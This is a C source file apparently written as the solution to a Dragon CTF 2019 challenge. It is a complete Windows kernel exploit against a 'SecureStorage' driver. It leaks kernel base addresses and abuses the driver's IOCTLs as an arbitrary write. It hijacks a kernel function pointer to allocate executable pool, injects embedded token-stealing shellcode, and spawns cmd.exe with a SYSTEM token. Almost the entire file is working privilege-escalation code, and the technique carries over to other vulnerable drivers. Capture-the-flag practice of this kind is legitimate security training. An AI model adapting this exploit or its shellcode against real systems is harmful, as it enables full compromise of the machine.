#include <stdbool.h>
#include <stdio.h>
#include <Windows.h>
#include <lmcons.h>
#include "kernel_addr_leak.h"

enum {
	IOCTL_SET_PROTECT = 0x226203,
	IOCTL_SET_UNPROTECT = 0x226207,
	IOCTL_RUN = 0x22620B,
};

typedef enum _POOL_TYPE
{
	NonPagedPool = 0,
	NonPagedPoolExecute = 0,
	PagedPool = 1,
	NonPagedPoolMustSucceed = 2,
	DontUseThisType = 3,
	NonPagedPoolCacheAligned = 4,
	PagedPoolCacheAligned = 5,
	NonPagedPoolCacheAlignedMustS = 6,
	MaxPoolType = 7,
	NonPagedPoolBase = 0,
	NonPagedPoolBaseMustSucceed = 2,
	NonPagedPoolBaseCacheAligned = 4,
	NonPagedPoolBaseCacheAlignedMustS = 6,
	NonPagedPoolSession = 32,
	PagedPoolSession = 33,
	NonPagedPoolMustSucceedSession = 34,
	DontUseThisTypeSession = 35,
	NonPagedPoolCacheAlignedSession = 36,
	PagedPoolCacheAlignedSession = 37,
	NonPagedPoolCacheAlignedMustSSession = 38,
	NonPagedPoolNx = 512,
	NonPagedPoolNxCacheAligned = 516,
	NonPagedPoolSessionNx = 544
} POOL_TYPE;

typedef PVOID(WINAPI *PExAllocatePool)(POOL_TYPE PoolType, SIZE_T NumberOfBytes);


char usrbuf[0x2000];
char shellcode[] = "\x53\xBB\x88\x01\x00\x00\x65\x48\x8B\x13\x48\x8B\x92\x20\x02\x00\x00\xE8\x20\x00\x00\x00\x48\x89\xC3\xB9\x04\x00\x00\x00\x48\x89\xDA\xE8\x10\x00\x00\x00\x48\x8B\x80\x60\x03\x00\x00\x48\x89\x83\x60\x03\x00\x00\x5B\xC3\x48\x8B\x92\xF0\x02\x00\x00\x48\x81\xEA\xF0\x02\x00\x00\x48\x39\x8A\xE8\x02\x00\x00\x75\xE9\x48\x89\xD0\xC3";
HANDLE drvHandle;

bool contains_null(PVOID val, unsigned int len);
bool arbitrary_write_str(LPVOID addr, PSTR str, DWORD len);
bool arbitrary_write(LPVOID addr, PVOID data, DWORD len);

int main(void)
{
	printf("---===[ SecureStorage Exploit, Dragon CTF 2019 ]===---\n");
	
	drvHandle = CreateFileW(L"\\\\.\\SecureStorage", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (drvHandle == (HANDLE)-1)
	{
		printf("[-] Unable to access the SecureStorage driver\n");
		return 1;
	}
	printf("[+] SecureStorage driver loaded\n");

	PVOID drvBase = leak("SecureDrv.sys");
	if (drvBase == NULL)
	{
		printf("[-] Unable to leak SecureDrv.sys base address\n");
		return 1;
	}
	printf("[+] SecureDrv.sys base: %p\n", drvBase);

	PVOID krnlBase = leak("ntoskrnl.exe");
	if (krnlBase == NULL)
	{
		printf("[-] Unable to leak ntoskrnl.exe base address\n");
		return 1;
	}
	printf("[+] ntoskrnl.exe base: %p\n", krnlBase);

	DWORD dummy;
	PExAllocatePool ExAllocatePool = (PExAllocatePool)((char*)krnlBase + 0x1331F0);
	LPVOID kernel_fptr = (LPVOID)((char*)drvBase + 0x4050);
	LPVOID shellcode_addr;

	printf("[*] nt!ExAllocatePool: %p\n", ExAllocatePool);

	printf("[*] Step 1: Write nt!ExAllocatePool address at kernel function pointer\n");
	memcpy(usrbuf, &ExAllocatePool, 8);
	if (contains_null(&ExAllocatePool, 8))
	{
		printf("[!] nt!ExAllocatePool address contains null byte, ASLR reseed is needed!\n");
		return 1;
	}
	if (!arbitrary_write_str(kernel_fptr, usrbuf, 8))
	{
		printf("[-] Function pointer write failed\n");
		return 1;
	}
	printf("[+] Step 1 Complete!\n");

	printf("[*] Step 2: Trigger nt!ExAllocatePool(NonPagedPoolExecute, 0x1000)\n");
	shellcode_addr = NULL;
	for (int i = 0; i < 0x10; i++, shellcode_addr = NULL)
	{
		DeviceIoControl(drvHandle, IOCTL_RUN, (LPVOID)NonPagedPoolExecute, 0x1000, &shellcode_addr, 8, &dummy, NULL);
		if (!shellcode_addr)
		{
			printf("[-] nt!ExAllocatePool returned NULL\n");
			return 1;
		}

		shellcode_addr = (PVOID)((INT_PTR)shellcode_addr | 0x101);
		if (!contains_null(&shellcode_addr, 8))
			break;

		printf("[*] returned address contains NULL byte, retrying...\n");
	}
	if (!shellcode_addr)
	{
		printf("[-] Failed to allocate NULL-free address after 0x10 tries, something wrong?\n");
		return 1;
	}
	printf("[+] shellcode addr: %p\n", shellcode_addr);
	printf("[+] Step 2 Complete!\n");

	printf("[*] Step 3: Write privesc shellcode\n");
	memcpy(usrbuf, shellcode, sizeof(shellcode));
	if (!arbitrary_write(shellcode_addr, usrbuf, sizeof(shellcode)))
	{
		printf("[-] privesc shellcode write failed\n");
		return 1;
	}
	printf("[+] Step 3 Complete!\n");

	printf("[*] Step 4: Write shellcode address at kernel function pointer\n");
	memcpy(usrbuf, &shellcode_addr, 8);
	if (!arbitrary_write_str(kernel_fptr, usrbuf, 8))  // guaranteed null-free
	{
		printf("[-] Function pointer write failed\n");
		return 1;
	}
	printf("[+] Step 4 Complete!\n");

	printf("[*] Step 5: Trigger privesc shellcode\n");
	DWORD pid = GetCurrentProcessId();
	PVOID SYSTEM_Token = NULL;
	TCHAR lpBuffer[UNLEN + 1];
	DWORD pcbBuffer = sizeof(lpBuffer) / sizeof(TCHAR);
	if (!GetUserName(lpBuffer, &pcbBuffer))
	{
		printf("[-] GetUserName failed...\n");
		return 1;
	}
	printf("[*] current user: %s\n", lpBuffer);
	printf("[*] pid: 0x%x\n", pid);
	DeviceIoControl(drvHandle, IOCTL_RUN, (LPVOID)(INT_PTR)pid, 0, &SYSTEM_Token, 8, &dummy, NULL);
	if (!SYSTEM_Token)
	{
		printf("[-] privesc failed...\n");
		return 1;
	}
	printf("[+] Leaked SYSTEM Token: %p\n", SYSTEM_Token);
	pcbBuffer = sizeof(lpBuffer) / sizeof(TCHAR);
	if (!GetUserName(lpBuffer, &pcbBuffer))
	{
		printf("[-] GetUserName failed...\n");
		return 1;
	}
	printf("[+] current user: %s\n", lpBuffer);

	printf("[*] Spawning cmd.exe...\n");
	system("cmd.exe");

	return 0;
}

bool contains_null(PVOID val, unsigned int len)
{
	for (unsigned i = 0; i < len; i++)
		if (!*((PSTR)val)++)
			return true;
	return false;
}

bool arbitrary_write_str(LPVOID addr, PSTR str, DWORD len)
{
	DWORD dummy;

	DeviceIoControl(drvHandle, IOCTL_SET_PROTECT, NULL, 0, NULL, 0, &dummy, NULL);
	if (!DeviceIoControl(drvHandle, IOCTL_RUN, str, len, NULL, 0, &dummy, NULL))
		return false;

	DeviceIoControl(drvHandle, IOCTL_SET_UNPROTECT, NULL, 0, NULL, 0, &dummy, NULL);
	if (!DeviceIoControl(drvHandle, IOCTL_RUN, addr, 0xffffffff, NULL, 0, &dummy, NULL))
		return false;

	return true;
}

bool arbitrary_write(LPVOID addr, PVOID data, DWORD len)
{
	while (len > 0)
	{
		DWORD len_until_null = (DWORD)strnlen((PCCH)data, len);

		if (!arbitrary_write_str(addr, (PSTR)data, len_until_null))
			return false;

		if (len_until_null == len)  // no null found in remainder
			break;
		
		addr = (LPVOID)((PSTR)addr + (len_until_null + 1));
		data = (LPVOID)((PSTR)data + (len_until_null + 1));
		len -= (len_until_null + 1);
	}

	return true;
}